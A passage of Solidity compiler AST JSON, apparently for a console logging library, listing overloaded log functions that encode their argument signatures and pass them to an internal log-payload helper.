alse,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24738,"name":"bool","nodeType":"ElementaryTypeName","src":"9822:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"9797:33:15"},"returnParameters":{"id":24741,"nodeType":"ParameterList","parameters":[],"src":"9845:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24773,"nodeType":"FunctionDefinition","src":"9949:164:15","nodes":[],"body":{"id":24772,"nodeType":"Block","src":"10012:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c75696e743235362c6164647265737329","id":24765,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10062:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5c96b331e359852d9a7254105926ce8dfcc42dd4fce56a736cfb981b4c2984c1","typeString":"literal_string \"log(uint256,uint256,address)\""},"value":"log(uint256,uint256,address)"},{"id":24766,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24755,"src":"10094:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24767,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24757,"src":"10098:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24768,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24759,"src":"10102:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5c96b331e359852d9a7254105926ce8dfcc42dd4fce56a736cfb981b4c2984c1","typeString":"literal_string \"log(uint256,uint256,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":24763,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10038:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24764,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10042:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10038:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10038:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24762,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"10022:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24770,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10022:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24771,"nodeType":"ExpressionStatement","src":"10022:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"9958:3:15","parameters":{"id":24760,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24755,"mutability":"mutable","name":"p0","nameLocation":"9970:2:15","nodeType":"VariableDeclaration","scope":24773,"src":"9962:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24754,"name":"uint256","nodeType":"ElementaryTypeName","src":"9962:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24757,"mutability":"mutable","name":"p1","nameLocation":"9982:2:15","nodeType":"VariableDeclaration","scope":24773,"src":"9974:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24756,"name":"uint256","nodeType":"ElementaryTypeName","src":"9974:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24759,"mutability":"mutable","name":"p2","nameLocation":"9994:2:15","nodeType":"VariableDeclaration","scope":24773,"src":"9986:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24758,"name":"address","nodeType":"ElementaryTypeName","src":"9986:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9961:36:15"},"returnParameters":{"id":24761,"nodeType":"ParameterList","parameters":[],"src":"10012:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24793,"nodeType":"FunctionDefinition","src":"10119:169:15","nodes":[],"body":{"id":24792,"nodeType":"Block","src":"10188:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c75696e7432353629","id":24785,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10238:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_37aa7d4c835edd965b1201d9c03f13272bd937d8e244ab84a153693e2f2f30c0","typeString":"literal_string \"log(uint256,string,uint256)\""},"value":"log(uint256,string,uint256)"},{"id":24786,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24775,"src":"10269:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24787,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24777,"src":"10273:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24788,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24779,"src":"10277:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_37aa7d4c835edd965b1201d9c03f13272bd937d8e244ab84a153693e2f2f30c0","typeString":"literal_string \"log(uint256,string,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24783,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10214:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24784,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10218:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10214:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24789,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10214:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24782,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"10198:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10198:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24791,"nodeType":"ExpressionStatement","src":"10198:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10128:3:15","parameters":{"id":24780,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24775,"mutability":"mutable","name":"p0","nameLocation":"10140:2:15","nodeType":"VariableDeclaration","scope":24793,"src":"10132:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24774,"name":"uint256","nodeType":"ElementaryTypeName","src":"10132:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24777,"mutability":"mutable","name":"p1","nameLocation":"10158:2:15","nodeType":"VariableDeclaration","scope":24793,"src":"10144:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24776,"name":"string","nodeType":"ElementaryTypeName","src":"10144:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24779,"mutability":"mutable","name":"p2","nameLocation":"10170:2:15","nodeType":"VariableDeclaration","scope":24793,"src":"10162:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24778,"name":"uint256","nodeType":"ElementaryTypeName","src":"10162:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10131:42:15"},"returnParameters":{"id":24781,"nodeType":"ParameterList","parameters":[],"src":"10188:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24813,"nodeType":"FunctionDefinition","src":"10294:174:15","nodes":[],"body":{"id":24812,"nodeType":"Block","src":"10369:99:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c737472696e6729","id":24805,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10419:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b115611f13262589f336fb650c9278bd1879123a635e6a638f94e6cbdb1c1b35","typeString":"literal_string \"log(uint256,string,string)\""},"value":"log(uint256,string,string)"},{"id":24806,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24795,"src":"10449:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24807,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24797,"src":"10453:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24808,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24799,"src":"10457:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b115611f13262589f336fb650c9278bd1879123a635e6a638f94e6cbdb1c1b35","typeString":"literal_string \"log(uint256,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24803,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10395:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24804,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10399:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10395:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10395:65:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24802,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"10379:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10379:82:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24811,"nodeType":"ExpressionStatement","src":"10379:82:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10303:3:15","parameters":{"id":24800,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24795,"mutability":"mutable","name":"p0","nameLocation":"10315:2:15","nodeType":"VariableDeclaration","scope":24813,"src":"10307:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24794,"name":"uint256","nodeType":"ElementaryTypeName","src":"10307:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24797,"mutability":"mutable","name":"p1","nameLocation":"10333:2:15","nodeType":"VariableDeclaration","scope":24813,"src":"10319:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24796,"name":"string","nodeType":"ElementaryTypeName","src":"10319:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24799,"mutability":"mutable","name":"p2","nameLocation":"10351:2:15","nodeType":"VariableDeclaration","scope":24813,"src":"10337:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24798,"name":"string","nodeType":"ElementaryTypeName","src":"10337:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10306:48:15"},"returnParameters":{"id":24801,"nodeType":"ParameterList","parameters":[],"src":"10369:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24833,"nodeType":"FunctionDefinition","src":"10474:163:15","nodes":[],"body":{"id":24832,"nodeType":"Block","src":"10540:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c626f6f6c29","id":24825,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10590:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4ceda75ad13e534e8b5089564c6a40ae80cd33aac3e77ef1f87a233c1d43067a","typeString":"literal_string \"log(uint256,string,bool)\""},"value":"log(uint256,string,bool)"},{"id":24826,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24815,"src":"10618:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24827,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24817,"src":"10622:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24828,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24819,"src":"10626:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4ceda75ad13e534e8b5089564c6a40ae80cd33aac3e77ef1f87a233c1d43067a","typeString":"literal_string \"log(uint256,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24823,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10566:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24824,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10570:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10566:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24829,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10566:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24822,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"10550:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24830,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10550:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24831,"nodeType":"ExpressionStatement","src":"10550:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10483:3:15","parameters":{"id":24820,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24815,"mutability":"mutable","name":"p0","nameLocation":"10495:2:15","nodeType":"VariableDeclaration","scope":24833,"src":"10487:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24814,"name":"uint256","nodeType":"ElementaryTypeName","src":"10487:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24817,"mutability":"mutable","name":"p1","nameLocation":"10513:2:15","nodeType":"VariableDeclaration","scope":24833,"src":"10499:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24816,"name":"string","nodeType":"ElementaryTypeName","src":"10499:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24819,"mutability":"mutable","name":"p2","nameLocation":"10522:2:15","nodeType":"VariableDeclaration","scope":24833,"src":"10517:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24818,"name":"bool","nodeType":"ElementaryTypeName","src":"10517:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"10486:39:15"},"returnParameters":{"id":24821,"nodeType":"ParameterList","parameters":[],"src":"10540:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24853,"nodeType":"FunctionDefinition","src":"10643:169:15","nodes":[],"body":{"id":24852,"nodeType":"Block","src":"10712:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c6164647265737329","id":24845,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10762:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7afac959002f7dcdccdf461a7e6db7810eebd7217c0b7c30905b3c7e89b561f2","typeString":"literal_string \"log(uint256,string,address)\""},"value":"log(uint256,string,address)"},{"id":24846,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24835,"src":"10793:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24847,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24837,"src":"10797:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24848,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24839,"src":"10801:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7afac959002f7dcdccdf461a7e6db7810eebd7217c0b7c30905b3c7e89b561f2","typeString":"literal_string \"log(uint256,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":24843,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10738:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24844,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10742:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10738:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24849,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10738:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24842,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"10722:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24850,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10722:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24851,"nodeType":"ExpressionStatement","src":"10722:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10652:3:15","parameters":{"id":24840,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24835,"mutability":"mutable","name":"p0","nameLocation":"10664:2:15","nodeType":"VariableDeclaration","scope":24853,"src":"10656:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24834,"name":"uint256","nodeType":"ElementaryTypeName","src":"10656:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24837,"mutability":"mutable","name":"p1","nameLocation":"10682:2:15","nodeType":"VariableDeclaration","scope":24853,"src":"10668:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24836,"name":"string","nodeType":"ElementaryTypeName","src":"10668:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24839,"mutability":"mutable","name":"p2","nameLocation":"10694:2:15","nodeType":"VariableDeclaration","scope":24853,"src":"10686:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24838,"name":"address","nodeType":"ElementaryTypeName","src":"10686:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"10655:42:15"},"returnParameters":{"id":24841,"nodeType":"ParameterList","parameters":[],"src":"10712:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24873,"nodeType":"FunctionDefinition","src":"10818:158:15","nodes":[],"body":{"id":24872,"nodeType":"Block","src":"10878:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c75696e7432353629","id":24865,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10928:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_200980147f19b368809aab41084ebebcf1e19d47edd13f2d540a6327cec213d1","typeString":"literal_string \"log(uint256,bool,uint256)\""},"value":"log(uint256,bool,uint256)"},{"id":24866,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24855,"src":"10957:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24867,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24857,"src":"10961:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":24868,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24859,"src":"10965:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_200980147f19b368809aab41084ebebcf1e19d47edd13f2d540a6327cec213d1","typeString":"literal_string \"log(uint256,bool,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24863,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10904:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24864,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10908:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10904:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10904:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24862,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"10888:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24870,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10888:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24871,"nodeType":"ExpressionStatement","src":"10888:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10827:3:15","parameters":{"id":24860,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24855,"mutability":"mutable","name":"p0","nameLocation":"10839:2:15","nodeType":"VariableDeclaration","scope":24873,"src":"10831:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24854,"name":"uint256","nodeType":"ElementaryTypeName","src":"10831:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24857,"mutability":"mutable","name":"p1","nameLocation":"10848:2:15","nodeType":"VariableDeclaration","scope":24873,"src":"10843:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24856,"name":"bool","nodeType":"ElementaryTypeName","src":"10843:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":24859,"mutability":"mutable","name":"p2","nameLocation":"10860:2:15","nodeType":"VariableDeclaration","scope":24873,"src":"10852:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24858,"name":"uint256","nodeType":"ElementaryTypeName","src":"10852:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10830:33:15"},"returnParameters":{"id":24861,"nodeType":"ParameterList","parameters":[],"src":"10878:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24893,"nodeType":"FunctionDefinition","src":"10982:163:15","nodes":[],"body":{"id":24892,"nodeType":"Block","src":"11048:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c737472696e6729","id":24885,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11098:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_85775021582c57b14e9e0b33e0f693439478099486817fe4214a503f559f37df","typeString":"literal_string 